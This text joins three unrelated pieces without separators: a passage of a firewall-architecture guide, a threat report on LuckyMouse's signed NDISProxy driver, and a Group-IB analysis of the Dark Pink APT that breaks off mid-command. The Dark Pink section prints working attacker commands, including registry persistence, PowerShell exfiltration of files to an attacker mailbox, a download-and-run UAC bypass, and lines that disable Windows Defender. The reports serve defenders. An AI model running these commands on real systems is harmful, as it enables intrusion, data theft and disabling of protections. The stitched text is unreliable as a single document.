devices have a feature called DMZ, an acronym related to the demilitarized zones that are sometimes set up between warring countries. While no single technical definition exists for firewall DMZs, they are usually interfaces on a routing firewall that are similar to the interfaces found on the firewall’s protected side. The major difference is that traffic moving between the DMZ and other interfaces on the protected side of the firewall still goes through the firewall and can have firewall protection policies applied. DMZs are sometimes useful for organizations that have hosts that need to have all traffic destined for the host bypass some of the firewall’s policies (for example, because the DMZ hosts are sufficiently hardened), but traffic coming from the hosts to other systems on the organization’s network need to go through the firewall. It is common to put public-facing servers, such as web and email servers, on the DMZ. Most network architectures are hierarchical, meaning that a single path from an outside network splits into multiple paths on the inside network—and it is generally most efficient to place a firewall at the node where the paths split. This has the advantage of positioning the firewall where there is no question as to what is “outside” and what is “inside.” However, there may be reasons to have additional firewalls on the inside of the network, such as to protect one set of computers from another. If a network’s architecture is not hierarchical, the same firewall policies should be used on all ingresses to the network. In many organizations, there is only supposed to be one ingress to the network, but other ingresses are set up on an ad-hoc basis, often in ways that are not allowed by overall policy. In these situations, if a properly configured firewall is not placed at each entry point, malicious traffic that would normally be blocked by the main ingress can enter the network by other means. The diagrams in this section each show a single firewall; however, many implementations use multiple firewalls. Some vendors sell high-availability (HA) firewalls, which allow one firewall to take over for another if the first firewall fails or is taken offline for maintenance. HA firewalls are deployed in pairs at the same spot in the network topology so that they both have the same external and internal connections. While HA firewalls can increase reliability, they can also introduce some problems, such as the need to combine logs between the paired firewalls and possible confusion by administrators when configuring the firewalls (for example, knowing which firewall is pushing its policy changes to the other firewall). HA functionality may be provided through a variety of vendor-specific techniques. ### 3.2 Firewalls Acting as Network Address Translators Most firewalls can perform NAT, which is sometimes called port address translation (PAT) or network address and port translation (NAPT). Despite the popular misconception, NAT is not part of the security functionality of a firewall. The security benefit of NAT—preventing a host outside the firewall from initiating contact with a host behind NAT—can just as easily be achieved by a stateful firewall with less disruption to protocols that do not work as well behind NAT. However, turning on a firewall’s NAT feature is usually easier than properly configuring the firewall policy to have the same protections, so many people think of NATs as primarily a security feature. Typically, a NAT acts as a router that has a network with private addresses on the inside and a single public address on the outside. The way a NAT performs this many-to-one mapping varies between implementations, but almost always involves the following: - Hosts on the inside network initiating connections to the outside network cause the NAT to map the source port of the connection to a different source port that is controlled by the NAT. The NAT uses this source port number to map connections from the outside back to the host on the inside. - Hosts on the outside of the network cannot initiate contact with hosts on the inside network. In some firewalls, the NAT can be configured to map a particular destination port on the NAT to a particular host on the inside of the NAT; for example, all HTTP requests that go to the NAT could be directed to a single host on the protected side of the firewall. This feature is sometimes called pinholing. Although NATs are not in and of themselves security features of a firewall, they interact with the firewall’s security policy. For example, any policy that requires that all HTTP servers accessible to the outside be on the DMZ must prevent the NAT from pinholing TCP port 80. Another example of where NATs interact with security policy is the ability to identify the source of traffic in a firewall’s logs. If a NAT is used, it must report the private address in the logs instead of the translated public address; otherwise, the logs will incorrectly identify many hosts by the single public address. ### 3.3 Architecture with Multiple Layers of Firewalls There is no limitation on where a firewall can be placed in a network. While firewalls should be at the edge of a logical network boundary, creating an “inside” and “outside” on either side of the firewall, a network administrator may wish to have additional boundaries within the network and deploy additional firewalls to establish such boundaries. The use of multiple layers of firewalls is quite common to provide defense-in-depth. An example of this was mentioned in Section 2.2.1, where a host-based firewall creates a boundary just before the host it is installed upon and adds another set of firewall policies to the architecture of the network. Using multiple layers of network firewalls is another common technique. A typical situation that requires multiple layers of network firewalls is the presence of internal users with varying levels of trust. For example, an organization might want to protect its accounting databases from being accessed by users who are not part of the accounting department. This could be accomplished by placing one firewall at the edge of the network (to prevent general access to the network from the Internet) and another at the edge of the internal network that defines the boundary of the accounting department. The inner firewall would block access to the database server by anyone outside the accounting network while allowing limited access to other resources on the accounting network. Another typical use for firewalls inside a network with a firewall at its edge involves visitors who need access to the Internet. Many organizations deploy specific wireless access points within their networks for visitor use. A firewall between the access points and the rest of the internal network can prevent visitors from accessing the local network with the same privileges as an employee. Placing a firewall within a network that already has one at the edge requires good planning and policy coordination to prevent inadvertent security lapses. When designing policies for an inner firewall, the administrator could make assumptions that result in poor policy choices—for example, if the inner firewall’s administrator assumes that the outer firewall is already preventing certain types of traffic from reaching the inner firewall, and the outer firewall’s administrator later modifies existing policy, hosts behind the inner firewall will be exposed to additional threats. A better approach is to duplicate outer firewall policies that are also relevant for inner firewalls on each inner firewall. This may be difficult if these firewalls are not able to coordinate their policies automatically, which is particularly likely when firewalls are from different manufacturers. Another common problem with using multiple layers of network firewalls is the increased difficulty it presents in tracing firewall problems. If one firewall stands between a user and a server, and the user cannot connect to the server, it is easy to check that firewall’s logs to see if the connection is being permitted. But if multiple firewalls are involved, the problem becomes more difficult because an administrator must locate all firewalls in the chain and check their logs to find where the problem originates. The presence of multiple layers of application-proxy gateways is particularly daunting because each gateway can change a message, which makes debugging even more difficult. ### 3.4 Summary of Recommendations The following items summarize the major recommendations from this section: - In general, a firewall should fit into a current network’s layout. However, an organization might change its network architecture at the same time as it deploys a firewall as part of an overall security upgrade. - Different common network architectures lead to very different choices for where to place a firewall, so an organization should assess which architecture works best for its security goals. - If an edge firewall has a DMZ, consider which outward-facing services should be run from the DMZ and which should remain on the inside network. - Do not rely on NATs to provide the benefits of firewalls. - In some environments, putting one firewall behind another may lead to a desired security goal, but in general such multiple layers of firewalls can be troublesome.
# LuckyMouse Signs Malicious NDISProxy Driver with Certificate of Chinese IT Company **By GReAT** ## What happened? Since March 2018, we have discovered several infections where a previously unknown Trojan was injected into the `lsass.exe` system process memory. These implants were injected by the digitally signed 32- and 64-bit network filtering driver NDISProxy. Interestingly, this driver is signed with a digital certificate that belongs to Chinese company LeagSoft, a developer of information security software based in Shenzhen, Guangdong. We informed the company about the issue via CN-CERT. The campaign described in this report was active immediately prior to a Central Asian high-level meeting, and we suppose that the actor behind it still follows a regional political agenda. ## Which malicious modules are used? The malware consists of three different modules: 1. A custom C++ installer that decrypts and drops the driver file in the corresponding system directory, creates a Windows autorun service for driver persistence, and adds the encrypted in-memory Trojan to the system registry. 2. A network filtering driver (NDISProxy) that decrypts and injects the Trojan into memory and filters port 3389 (Remote Desktop Protocol, RDP) traffic to insert the Trojan’s C2 communications into it. 3. A last-stage C++ Trojan acting as an HTTPS server that works together with the driver. It waits passively for communications from its C2, with two possible communication channels via ports 3389 and 443. These modules allow attackers to silently move laterally in the infected infrastructure but don’t allow them to communicate with an external C2 if the new infected host only has a LAN IP. Because of this, the operators used an Earthworm SOCKS tunneler to connect the LAN of the infected host to the external C2. They also used the Scanline network scanner to find file shares (port 135, Server Message Block, SMB) which they use to spread malware with administrative passwords compromised with keyloggers. We assess with high confidence that NDISProxy is a new tool used by LuckyMouse. Kaspersky Lab products detect the described artifacts. ## How does it spread? We detected the distribution of the 32-bit dropper used for this campaign among different targets by the end of March 2018. However, we didn’t observe any spear phishing or watering hole activity. We believe the operators spread their infectors through networks that were already compromised instead. ## How does it work? ### Custom installer **Installer MD5 hash** dacedff98035f80711c61bc47e83b61d - 2018.03.29 07:35:55 - 572 244 - 32 9dc209f66da77858e362e624d0be86b3 - 2018.03.26 04:16:00 - 572 244 - 32 3cbeda2c5ac41cca0b0d60376a2b2511 - 2018.03.26 04:16:00 - 307 200 - 32 The initial infectors are 32-bit portable executable files capable of installing 32-bit or 64-bit drivers depending on the target. The installer logs all the installation process steps in the `load.log` file within the same directory. It checks if the OS is Windows Vista or above (major version equal to 6 or higher) and decrypts its initial configuration using the DES (Data Encryption Standard) algorithm. The set of well-known port numbers (HTTP, HTTPS, SMB, POP3S, MSSQL, PPTP, and RDP) in the configuration is not used, which along with the “[test]” strings in messages suggests this malware is still under development. The installer creates a semaphore (name depending on configuration) `Global\Door-ndisproxy-mn` and checks if the service (name also depends on configuration) `ndisproxy-mn` is already installed. If it is, the dropper writes “door detected” in `load.log`. The autorun Windows service running NDISProxy is the “door” in developer terms. The installer also decrypts (using the same DES) the shellcode of the last stage Trojan and saves it in three registry values named `xxx0`, `xxx1`, `xxx2` in key `HKLM\SOFTWARE\Classes\32ndisproxy-mn` (or `64ndisproxy-mn` for 64-bit hosts). The encrypted configuration is saved as the value `filterpd-ndisproxy-mn` in the registry key `HKCR\ndisproxy-mn`. The installer creates the corresponding autostart service and registry keys. The “Altitude” registry value (unique ID for the minifilter driver) is set to 321 000, which means “FSFilter Anti-Virus” in Windows terms. ### NDISProxy network filtering driver **Driver MD5 hash** 8e6d87eadb27b74852bd5a19062e52ed - 2018.03.29 07:33:58 - 40400 - 64 d21de00f981bb6b5094f9c3dfa0be533 - 2018.03.29 07:33:52 - 33744 - 32 a2eb59414823ae00d53ca05272168006 - 2018.03.26 04:15:28 - 40400 - 64 493167e85e45363d09495d0841c30648 - 2018.03.26 04:15:21 - 33744 - 32 ad07b44578fa47e7de0df42a8b7f8d2d - 2017.11.08 08:04:50 - 241616 - 64 This digitally signed driver is the most interesting artifact used in this campaign. The network filtering modules serve two purposes: first, they decrypt and inject the RAT; second, they set its communication channel through RDP port 3389. The drivers are signed with a digital certificate issued by VeriSign to LeagSoft, a company developing information security software such as data loss prevention (DLP) solutions. This driver makes extensive use of third-party publicly available C source code, including from the Blackbone repository available at GitHub. **Feature** Driver memory injection - Blackbone NDIS network filtering driver - Microsoft Windows Driver Kit (WDK) sample code “Windows Filtering Platform Stream Edit Sample/C++/sys/stream_callout.c” Parse HTTP packets - Http-parser The driver again checks if the Windows version is higher than Vista, then creates a device named `\\Device\\ndisproxy-%s` (where the word after “-” varies) and its corresponding symbolic link `\\DosDevices\\Global\\ndisproxy-%s`. The driver combines all the Trojan-related registry values from `HKLM\SOFTWARE\Classes\32ndisproxy-mn` and de-XORs them with a six-byte hardcoded value. It then injects the resulting Trojan executable shellcode into `lsass.exe` memory using Blackbone library functions. NDISProxy works as a network traffic filter engine, filtering the traffic going through RDP port 3389 (the port number is hardcoded) and injecting messages into it. The communication between the user-mode in-memory Trojan and the driver goes through the custom control codes used by the `DeviceIoControl()` Windows API function. Apart from the auxiliary codes, there are two codes worth mentioning: | Driver control code | Meaning | |---------------------|---------| | 0x222400 | Start traffic filtering at RDP port 3389 | | 0x22240C | Inject given data into filtering TCP stream. Used for Trojan communication with C2 | ### In-memory C++ Trojan **SHA256**: c69121a994ea8ff188510f41890208625710870af9a06b005db817934b517bc1 **MD5**: 6a352c3e55e8ae5ed39dc1be7fb964b1 **Compiled**: 2018.03.26 04:15:48 (GMT) **Type**: I386 Windows GUI DLL **Size**: 175 616 Please note this Trojan exists in memory only; the data above is for the decrypted Windows registry content without the initial shellcode. This RAT is decrypted by the NDISProxy driver from the system registry and injected into the `lsass.exe` process memory. Code starts with a shellcode – instead of typical Windows portable executable files loader, this malware implements memory mapping by itself. This Trojan is a full-featured RAT capable of executing common tasks such as command execution and downloading/uploading files. This is implemented through a couple dozen C++ classes such as `CMFile`, `CMProcess`, `TFileDownload`, `TDrive`, `TProcessInfo`, `TSock`, etc. The first stage custom installer utilizes the same classes. The Trojan uses HTTP Server API to filter HTTPS packets at port 443 and parse commands. This Trojan is used by attackers to gather a target’s data, make lateral movements, and create SOCKS tunnels to their C2 using the Earthworm tunneler. This tool is publicly available and popular among Chinese-speaking actors. Given that the Trojan is an HTTPS server itself, we believe that the SOCKS tunnel is used for targets without an external IP, so the C2 is able to send commands. ## Who’s behind it and why? We found that this campaign targeted Middle Asian governments’ entities. We believe the attack was highly targeted and was linked to a high-level meeting. We assess with high confidence that the Chinese-speaking LuckyMouse actor is responsible for this new campaign using the NDISProxy tool described in this report. In particular, the choice of the Earthworm tunneler is typical for Chinese-speaking actors. Also, one of the commands used by the attackers (“-s rssocks -d 103.75.190[.]28 -e 443”) creates a tunnel to a previously known LuckyMouse C2. The choice of victims in this campaign also aligns with the previous interests shown by this actor. ## Consistent with current trends We have observed a gradual shift in several Chinese-speaking campaigns towards a combination of publicly available tools (such as Metasploit or CobaltStrike) and custom malware (like the C++ last stage RAT described in this report). We have also observed how different actors adopt code from GitHub repositories on a regular basis. All this combines to make attribution more difficult. This campaign appears to demonstrate once again LuckyMouse’s interest in Central Asia and the political agenda surrounding the Shanghai Cooperation Organization. ## Indicators of Compromise **File Hashes** **Droppers-installers** 9dc209f66da77858e362e624d0be86b3 dacedff98035f80711c61bc47e83b61d **Drivers** 8e6d87eadb27b74852bd5a19062e52ed d21de00f981bb6b5094f9c3dfa0be533 a2eb59414823ae00d53ca05272168006 493167e85e45363d09495d0841c30648 ad07b44578fa47e7de0df42a8b7f8d2d **Auxiliary** Earthworm SOCKS tunneler and Scanline network scanner 83c5ff660f2900677e537f9500579965 3a97d9b6f17754dcd38ca7fc89caab04 **Domains and IPs** 103.75.190[.]28 213.109.87[.]58 **Semaphores** Global\Door-ndisproxy-mn Global\Door-ndisproxy-help Global\Door-ndisproxy-notify **Services** ndisproxy-mn ndisproxy-help ndisproxy-notify **Registry keys and values** HKLM\SOFTWARE\Classes\32ndisproxy-mn HKLM\SOFTWARE\Classes\64ndisproxy-mn HKCR\ndisproxy-mn\filterpd-ndisproxy-mn HKLM\SOFTWARE\Classes\32ndisproxy-help HKLM\SOFTWARE\Classes\64ndisproxy-help HKCR\ndisproxy-mn\filterpd-ndisproxy-help HKLM\SOFTWARE\Classes\32ndisproxy-notify HKLM\SOFTWARE\Classes\64ndisproxy-notify HKCR\ndisproxy-mn\filterpd-ndisproxy-notify **Driver certificate** A lot of legitimate LeagSoft products are signed with the following certificate. Please don’t consider all signed files as malicious. **Subject**: ShenZhen LeagSoft Technology Co.,Ltd. **Serial number**: 78 62 07 2d dc 75 9e 5f 6a 61 4b e9 b9 3b d5 21 **Issuer**: VeriSign Class 3 Code Signing 2010 CA **Valid to**: 2018-07-19
# Dark Pink ## Acknowledgements We would like to specifically thank Albert Priego, Malware Analyst at Group-IB, for discovering the first Dark Pink attacks and for conducting the initial research into this particular threat actor. His efforts made a major contribution to this blog and for our future research into this APT group. ## Introduction Countries of the Asia-Pacific region have long been the target of advanced persistent threat (APT) groups. Earlier Group-IB research found that this region has often been a “key arena” of APT activity, and a mixture of nation-state threat actors from China, North Korea, Iran, and Pakistan have been tied to a wave of attacks in the region. More often than not, the primary motive for APT attacks in the Asia-Pacific (APAC) region is not financial gain, but rather espionage. Group-IB continuously explores and analyzes the methods, tools, and tactics used by some of the world’s most prominent APT groups, such as APT41, but how can large-scale companies and organizations protect themselves when a new APT group emerges, or if an already existing APT group begins to utilize a completely new toolkit? Enter Dark Pink. Dark Pink is the name given by Group-IB to a new wave of APT attacks that has struck the APAC region. At the present time, Group-IB cannot attribute the campaign to any known threat actor, making it highly likely that Dark Pink is an entirely new APT group. Bearing this in mind, we will refer to Dark Pink as an APT group throughout the entirety of this text. The name Dark Pink was coined by forming a hybrid of some of the email addresses used by the threat actors during data exfiltration. The APT group has also been termed Saaiwc Group by Chinese cybersecurity researchers. There is evidence to suggest that Dark Pink began operations as early as mid-2021, although the group’s activity surged in mid-to-late 2022. To date, Group-IB’s sector-leading Threat Intelligence uncovered seven confirmed attacks by Dark Pink. The bulk of the attacks were carried out against countries in the APAC region, although the threat actors spread their wings and targeted one European governmental ministry. The confirmed victims include two military bodies in the Philippines and Malaysia, government agencies in Cambodia, Indonesia, and Bosnia and Herzegovina, and a religious organization in Vietnam. Group-IB also became aware of an unsuccessful attack on a European state development agency based in Vietnam. In line with Group-IB’s zero tolerance policy to cybercrime, confirmed and potential victims of Dark Pink were issued proactive notifications, and we note that the list of companies breached by this particular APT group is likely to be longer. Group-IB’s early research into Dark Pink has revealed that these threat actors are leveraging a new set of tactics, techniques, and procedures rarely utilized by previously known APT groups. They leverage a custom toolkit, featuring TelePowerBot, KamiKakaBot, and Cucky and Ctealer information stealers (all names dubbed by Group-IB) with the aim of stealing confidential documentation held on the networks of government and military organizations. Of particular note is Dark Pink’s ability to infect even the USB devices attached to compromised computers, and also its ability to gain access to messengers on infected machines. Furthermore, Dark Pink threat actors utilize two core techniques: DLL Side-Loading and executing malicious content triggered by a file type association (Event Triggered Execution: Change Default File Association). The latter of these tactics is one rarely seen utilized in the wild by threat actors. At the time of writing, Dark Pink is still active. Given the fact that many of the attacks identified by Group-IB researchers took place in the final months of 2022, Group-IB researchers are still in the process of identifying the full scope of the APT attack, and efforts to uncover the origin of this APT group are in process. However, we believe that this preliminary research, which will be of great interest to CISOs, heads of cybersecurity teams, SOC analysts, and incident response specialists, will go a long way to raising awareness of the new TTPs utilized by this threat actor and help organizations to take the relevant steps to protect themselves from a potentially devastating APT attack. ## Key findings - Dark Pink launched seven successful attacks against high-profile targets between June and December 2022. - Dark Pink’s first activity, which we tie to a Github account leveraged by the threat actors, was recorded in mid-2021, and the first attack attributable to this APT group took place in June 2022. Their activity peaked in the final three months of 2022 when they launched four confirmed attacks. - Dark Pink’s victims are located in five APAC countries (Vietnam, Malaysia, Indonesia, Cambodia, Philippines) and one European country (Bosnia and Herzegovina). - Victims included military bodies, government and development agencies, religious organizations, and a non-profit organization. - One unsuccessful attack was launched against a European state development agency based in Vietnam in October 2022. - Dark Pink APT’s primary goals are to conduct corporate espionage, steal documents, capture the sound from the microphones of infected devices, and exfiltrate data from messengers. - Dark Pink’s core initial vector was targeted spear-phishing emails that saw the threat actors pose as job applicants. There was evidence to suggest that the threat actors behind Dark Pink scanned online job vacancy portals and crafted unique emails to victims that were advertising vacancies. - Almost all the tools leveraged by the threat actors were custom and self-made, including TelePowerBot and KamiKakaBot, along with the Cucky and Ctealer stealers. During our investigation, we noticed only one public tool: PowerSploit/Get-MicrophoneAudio. - Dark Pink APT utilized a rarely seen technique, termed Event Triggered Execution: Change Default File Association, to ensure launch of malicious TelePowerBot malware. Another technique leveraged by these particular threat actors was DLL Side-Loading, which they used to avoid detection during initial access. - The threat actors created a set of PowerShell scripts to carry out communication between victim and threat actors’ infrastructure, facilitate lateral movement, and network reconnaissance. - All communication between infected infrastructure and the threat actors behind Dark Pink is based on Telegram API. ## Dark Pink takes on all comers The attacks carried out by this particular APT group have been advanced in every sense of the word. They have utilized a sophisticated mixture of custom tools to breach the defenses of multiple government and military organizations. The first attack Group-IB analysts were able to attribute to this APT group was registered on a religious organization in Vietnam in June 2022. However, they appear to have been active well before that, as Group-IB researchers identified a Github account used by these threat actors which showed activity dating back to mid-2021. According to our research, the malware initialized by the threat actors can issue commands for an infected machine to download modules from this particular Github account. Interestingly, the threat actors appeared to use only one Github account for the entire duration of the campaign to date, which could suggest that they have been able to operate without detection for a significant period of time. Following the June 2022 attack, Group-IB researchers were unable to attribute any other malicious activity to Dark Pink. However, this APT group burst into life towards the end of the summer, when Group-IB noticed an attack on a Vietnamese non-profit organization in August 2022 bearing all the hallmarks of the June attack. From then, Group-IB was able to attribute one attack in September, two attacks (one successful, one unsuccessful) in October, two in November, and one in December. Most recently, Group-IB discovered that Dark Pink was able to breach an Indonesian governmental organization on December 8, 2022. ## Kill Chain The sophistication of the Dark Pink campaign is evidenced by its multiple distinct kill chains. The threat actors behind this wave of attacks were able to craft their tools in several programming languages, giving them flexibility as they attempted to breach defense infrastructure and gain persistence on victims’ networks. As a result, we will discuss the different steps and stages of these processes, but it is important to note that the bulk of the attacks were based on PowerShell scripts or commands that aimed to launch communication between the infected networks and the threat actors’ infrastructure. Initial access was achieved by successful spear-phishing emails. These messages contained a shortened link directing the victim to download a malicious ISO image, which in one case seen by Group-IB, was stored on the public, free-to-use sharing service MediaFire. Once the ISO image was downloaded by the victims, Group-IB identified three distinct infection chains, which we will detail below. The first thing that caught our attention was that all communication between the devices of the threat actors and the victims was based on Telegram API. The custom modules created by the threat actors, TelePowerBot and KamiKakaBot, are designed to read and execute commands via a threat actor-controlled Telegram bot. Interestingly, these modules were developed in different programming languages. TelePowerBot is represented as PowerShell script, while KamiKakaBot, which includes stealer functionalities, is developed on .NET. The threat actors have used the same Telegram bots for a long period of time, as one has been used since September 2021. Additionally, Dark Pink APT utilizes the self-made stealers Ctealer and Cucky to steal victim credentials from web browsers. We will look at each of the above-mentioned tools later in this report. At this stage, we will turn to detailing each step of the infection chain. ### Initial access A large part of the success of Dark Pink was down to the spear-phishing emails used to gain initial access. In one such attack, Group-IB was able to find the original email sent by the threat actors. In this one instance, the threat actor posed as a job applicant applying for the position of PR and Communications intern. In the email, the threat actor mentions that they found the vacancy on a jobseeker site, which could suggest that the threat actors scan job boards and use this information to create highly relevant phishing emails. The emails contain a shortened URL linking to a free-to-use file sharing site, where the victim is presented with the option to download an ISO image that contains all the files needed for the threat actors to infect the victim’s network. During our investigation into Dark Pink, we discovered that the threat actors leveraged several different ISO images, and we also noted that the documents contained in these ISO images varied from case to case. According to the information available to us, we strongly believe that the Dark Pink threat actors craft a unique email to each victim, and we do not discount that the threat actors can send the malicious ISO image as a direct attachment to the victim via email. The ISO images sent in the spear-phishing emails contained varying numbers of files. However, there are three types of file found in all of the ISO images sent by the threat actors: a signed executable file, a nonmalicious decoy document (e.g., .doc, .pdf, or .jpg), and a malicious DLL file. Given that the email relates to a job opening, one can assume that the victim will first look for the supposed applicant’s resume, which is often sent as a MS Word document. However, in Dark Pink attacks, the threat actors include an .exe file in the ISO image that mimics a MS Word file. The file contains “.doc” in the file name and contains the MS Word icon as a means of confusing the victim and thinking that the file is safe to open. Should the victim execute the .exe file first, the malicious DLL file, located in the same folder as the .exe file, will run automatically. This is a technique used by threat actors known as DLL Side-Loading. The primary function of the DLL execution is to ensure that the threat actors’ core malware, TelePowerBot, gains persistence. Before the completion of the file execution, the decoy document (e.g., a letter, resume) is shown on the victim’s screen. ### Trojan execution and persistence One of the most interesting discoveries for Group-IB researchers was the process of how TelePowerBot or KamiKakaBot are launched on the victim’s machine. As mentioned previously, the malicious DLL file that contains one of these two pieces of malware can be located inside the ISO image that is sent during spear-phishing campaigns. In one case analyzed by Group-IB, the threat actors used a chain of MS Office documents and leveraged Template Injection, whereby the threat actors insert into the initial document a link to a template document that contains a malicious macro code. In two other cases examined by Group-IB researchers, the threat actors behind Dark Pink launched their malware by the DLL Side-Loading technique. In total, we found three different kill chains leveraged by the threat actors, and we will detail them below. #### Kill Chain 1: All-inclusive ISO The first variant of the infection chain results in an ISO image being sent to the victim through spear-phishing emails. This ISO image includes a malicious DLL file, which contains TelePowerDropper (name given by Group-IB). The primary goal of this DLL file is to gain persistence for TelePowerBot in the registry of the infected machine. In some cases, the DLL file can also launch the threat actors’ proprietary stealer, which parses data from browsers on the victim’s machine and stores it in a local folder. It is important to note that launching any kind of stealer is optional during initial access. Dark Pink can send special commands to download and launch a stealer during all phases of attack. It is important to note at this stage that the DLL files are packed. When the file is launched, it decrypts itself and passes control to an unpacked version of itself. Additionally, once the DLL file is launched, a mutex will be created. One example of this was: gwgXSznM-Jz92k33A-uRcCCksA-9XAU93r5. Upon completion of this step, a command to start TelePowerBot will be added to autorun. This means that TelePowerBot will be launched each time the user logs into their system. This is facilitated by creating a registry key by path HKCU\Environment\UserInitMprLogonScript. The value of the created key is as follows: ``` forfiles.exe /p %system32% /m notepad.exe /c "cmd.exe /c whoami >> %appdata%\a.abcd && %appdata%\a.abcd && exit" ``` The above code reveals that the command launches a standard utility, whoami, which shows information about the current user of the machine. The output is redirected to a file and execution is finished. At this point, it might not be entirely clear how the next stage, and the launching of TelePowerBot, begins. The key to this answer is the file extension .abcd. In short, the threat actors create a file with this extension name as part of a technique termed Event Triggered Execution: Change Default File Association. The idea is to add a handler to work with the unrecognized file extension in the registry key tree. The above screenshot details part of a PowerShell command that is triggered when a file is created with the specific extension .abcd. The PowerShell commands are stored in base64 view and are highly obfuscated. The result of these commands is relatively simple: read registry key, decrypt, and launch TelePowerBot. #### Kill Chain 2: Github macros The second variation of the infection chain is almost identical to the preceding one. The only thing that differs is the file used in the initial stage. During our analysis, we discovered that the threat actors used commands to automatically download a malicious template document containing TelePowerBot from Github upon opening of the .doc contained in the initial ISO file. Macro code written into this template document then works to ensure persistence for the malware. #### Kill Chain 3: X(ML) marks the spot The third and final kill chain variant that we will detail is one that was used in the most recent Dark Pink attack analyzed by Group-IB, which saw the threat actors breach the network of an Indonesian government agency on December 8, 2022. The ISO image sent to the victim in a spear-phishing email contained decoy documents, a signed legitimate MS Word file, and a malicious DLL named KamiKakaDropper. The primary goal of this infection vector is to persist KamiKakaBot on infected machines. In this kill chain, an XML file is located at the end of the decoy document in encrypted view. The malicious DLL file is, as in Kill Chain 1, launched by the DLL Side-Loading technique. Once the DLL file is launched, the XML file that kicks off the next stage of the kill chain will be decrypted from the decoy document and saved in the infected machine. The XML file contains an MSBuild project that includes a task to execute .NET code. To find more about how this process works, please refer to the following Microsoft documentation. The logic of the .NET code is simple: launch KamiKakaBot, which itself is located in the XML file (packed and encoded in base64 format). After this file is unpacked, control is passed to KamiKakaBot. ## Reconnaissance and lateral movement After infecting a computer in the victim organization’s network, the next goal for Dark Pink is to collect as much information as possible about the victim’s network infrastructure. From our analysis, we see that the threat actors are interested in the following: - Information from standard utility, e.g., output of standard utility systeminfo. - Information from web browsers. - Installed software, including antivirus solutions. - Information about connected USB devices and network sharing. The threat actors also collect a list of network and USB drives that are available for writing, and these are then used for lateral movement. Next, instead of the original file, the attack sees the creation of a LNK file (Windows shortcut) with a command to launch TelePowerDropper. At this stage, the original files are hidden from the user. One of the most interesting revelations of our investigation into Dark Pink was how the threat actors carry out lateral movement over USB devices. For this, a new WMI event handler is registered. From this point onwards, each time a USB flash drive is plugged into an infected machine, a specific action will be executed that sees TeleBotDropper downloaded and stored on the flash drive. 1. Victim plugs USB flash drive into infected device. 2. The WMI event is triggered, and results in the automatic download of a .ZIP archive from the threat actors’ Github account. There are three files inside this archive: Dism.exe, Dism.sys, and Dismcore.dll. The first of these files is a legitimate file with a valid digital signature. The functionality of the DLL file is to unpack the original executable from file Dism.sys. 3. Archive is extracted to %tmp% folder. The files are then copied to the USB device, where a new folder named “dism” is created. The folder attribution is changed to hidden and system. 4. A file named system.bat is created, containing a command to launch Dism.exe. 5. Finally, as many LNK files are created as there are folders on the USB drive. The attributes of the original folder are changed to hidden and system. A LNK file is created with a command to open the hidden folder in explorer.exe and launch system.bat. Following this process, the user will see LNK files bearing the same name as folders found on the USB device. Once the user opens this malicious LNK file, TeleBotDropper will be launched by the DLL Side-Loading technique. As a result, the commands, which read registry key, decrypt, and launch TelePowerBot, are then transferred to a new machine. It is imperative to remember that this solution works if there is only one folder on the USB device. This is why we observed different implementations, for example, the creation of LNK files instead of .pdf files (not only for folders) on USB devices. An example of how this works in more detail is provided in APPENDIX B. The mechanism of creating LNK files in place of the original files is also used for network sharing. ## Data exfiltration As is the case with many other attacks of this kind, the threat actors exfiltrate data through ZIP archives. During Dark Pink attacks, all data (list of files from common network shares, web browser data, documents, etc.) that is to be sent to the threat actors is stacked in the $env:tmp\backuplog folder. However, the collection and sending process operate separately from one another. When the infected machine is issued a command to download the $env:tmp\backuplog folder, the list of files will be copied to $env:tmp\backuplog1 folder, added to archive, and sent to the threat actors’ Telegram bot. After this step is completed, the $env:tmp\backuplog1 directory is deleted. Dark Pink threat actors can also leverage their self-made stealers Cucky and Ctealer to draw data from infected machines. The functionalities of both of these stealers are the same. They can be used to extract data such as passwords, history, logins, and cookies from web browsers. The stealers themselves do not require any internet connection, as they save the result of the execution (stolen data) to files. Both of the stealers can be downloaded from the threat actors’ Github account automatically by commands issued by the malware. An example of the script used to launch Cucky is shown in APPENDIX C. In total, Group-IB researchers discovered that Dark Pink exfiltrated files via three separate pathways. The first of these pathways sees the threat actors use Telegram to receive files. As a device is infected, information is collected in a specific folder by the malware and sent via Telegram by a special command. By extension, the files that are sent to the threat actors are: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pdf. An example of a script that carries out this process can be found in APPENDIX D. In addition to Telegram, Group-IB found evidence that the threat actors exfiltrated files via Dropbox. This method is slightly different from the one used to exfiltrate via Telegram, as it involves a series of PowerShell scripts that transfer files from a specific folder to a Dropbox account by performing an HTTP request with a hardcoded token. One particular attack discovered by Group-IB was of particular surprise to us. Despite the device being controlled by commands issued by a threat actor-controlled Telegram channel via Telegram bots, some interesting files were sent via email. An example of this command is shown below. ``` $filepath="$env:tmp/backuplog"; $cred = New-Object System.Management.Automation.PSCredential ("[email protected]",(ConvertTo-SecureString "CHANGED" -AsPlainText -Force)); Send-MailMessage -To "blackpink.301@outlook[.]com" -From "blackred.113@outlook[.]com" -Body "hello badboy" -SmtpServer "smtp-mail.outlook.com" -Port 587 -Subject "$env:computername" -UseSsl -Credential $cred -Attachments (gci $filepath).fullname ``` The list of emails used during data exfiltration are shown below: - blackpink.301@outlook[.]com - alibaba.113@outlook[.]com - alibaba.113@outlook[.]com.vn - blackred.113@outlook[.]com - lanhuong.jsc@outlook[.]com - nphuongmai.97@outlook[.]com At this stage, Group-IB researchers believe that the exfiltration method of choice depends on the potential restrictions set out in the victim’s network infrastructure. ## Evasion techniques During their attacks, the threat actors used an already known technique to bypass User Account Control (UAC) to alter the settings in Windows Defender. They did this by elevating the COM interface. The methods used are not unique and different implementations were found in different programming languages. The settings are changed by a special PowerShell script which is received as a command and implemented in .NET application. This command comes in the form of an executable file (in base64 view) that is automatically downloaded from Github upon infection. The executable does not gain persistence nor is it saved on an infected system. An example of downloading and launching are shown below. ``` [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString(URL))); [NETLUA.Main]::BypassUAC("powershell\", "-c {$command}") ``` The PowerShell command to modify Windows Defender Settings is passed as an argument and is shown as follows: ``` Set-MpPreference -DisableArchiveScanning $true -ea 0; Set-MpPreference -DisableBehaviorMonitoring $true -Force -ea 0; Set-MpPreference -DisableCatchupFullScan $true -Force -ea 0; Set-MpPreference -DisableCatchupQuickScan $true -Force -ea 0; Set-MpPreference -DisableIntrusionPreventionSystem $true -Force -ea 0; Set-MpPreference -DisableIOAVProtection $true -Force -ea 0; Set-MpPreference 